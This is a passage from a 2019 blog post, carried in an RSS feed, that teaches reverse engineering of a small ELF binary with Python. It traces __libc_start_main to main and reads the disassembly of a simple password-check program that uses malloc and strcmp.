<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
<span class="go">**__libc_start_main 0x200fe0**</span>
<span class="go">__gmon_start__ 0x200fe8</span>
<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
<span class="go">__cxa_finalize 0x200ff8</span>
<span class="go">stdin 0x201010</span>
<span class="go">.rela.plt:</span>
<span class="go">puts 0x200fb0</span>
<span class="go">printf 0x200fb8</span>
<span class="go">fgets 0x200fc0</span>
<span class="go">strcmp 0x200fc8</span>
<span class="go">malloc 0x200fd0</span>
</code></pre></div>

<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>

<blockquote>
  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
</blockquote>

<p>And its definition is like so</p>

<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
</code></pre></div>

<p>Looking back at our disassembly</p>

<pre><code>0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...
</code></pre>

<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>

<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>

<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>

<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>

<pre><code>printf 0x650
fgets  0x660
strcmp 0x670
malloc 0x680
</code></pre>

<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>

<pre><code>0x7b2: mov edi, 0xa  ; 10
0x7b7: call 0x680    ; malloc
</code></pre>

<p>The loop to populate the <code>*pw</code> string</p>

<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
0x7d3:  cdqe    
0x7d5:  lea     rdx, [rax - 1]
0x7d9:  mov     rax, qword ptr [rbp - 0x10]
0x7dd:  add     rax, rdx
0x7e0:  movzx   eax, byte ptr [rax]
0x7e3:  lea     ecx, [rax + 1]
0x7e6:  mov     eax, dword ptr [rbp - 0x14]
0x7e9:  movsxd  rdx, eax
0x7ec:  mov     rax, qword ptr [rbp - 0x10]
0x7f0:  add     rax, rdx
0x7f3:  mov     edx, ecx
0x7f5:  mov     byte ptr [rax], dl
0x7f7:  add     dword ptr [rbp - 0x14], 1
0x7fb:  cmp     dword ptr [rbp - 0x14], 8
0x7ff:  jle     0x7d0
</code></pre>

<p>And this looks like our <code>strcmp()</code></p>

<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
0x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
0x84b:  mov     rsi, rdx             
0x84e:  mov     rdi, rax
0x851:  call    0x670                       ; strcmp  
0x856:  test    eax, eax                    ; is = 0? 
0x858:  jne     0x868                       ; no? jump to 0x868
0x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
0x861:  call    0x640                       ; puts
0x866:  jmp     0x874
0x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
0x86f:  call    0x640                       ; puts  
</code></pre>

<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>

<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>

<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>

<p>Ciao for now, and I’ll see ya in #2 of this series&#8212;PE binaries. Whenever that is.</p>
]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
</rss>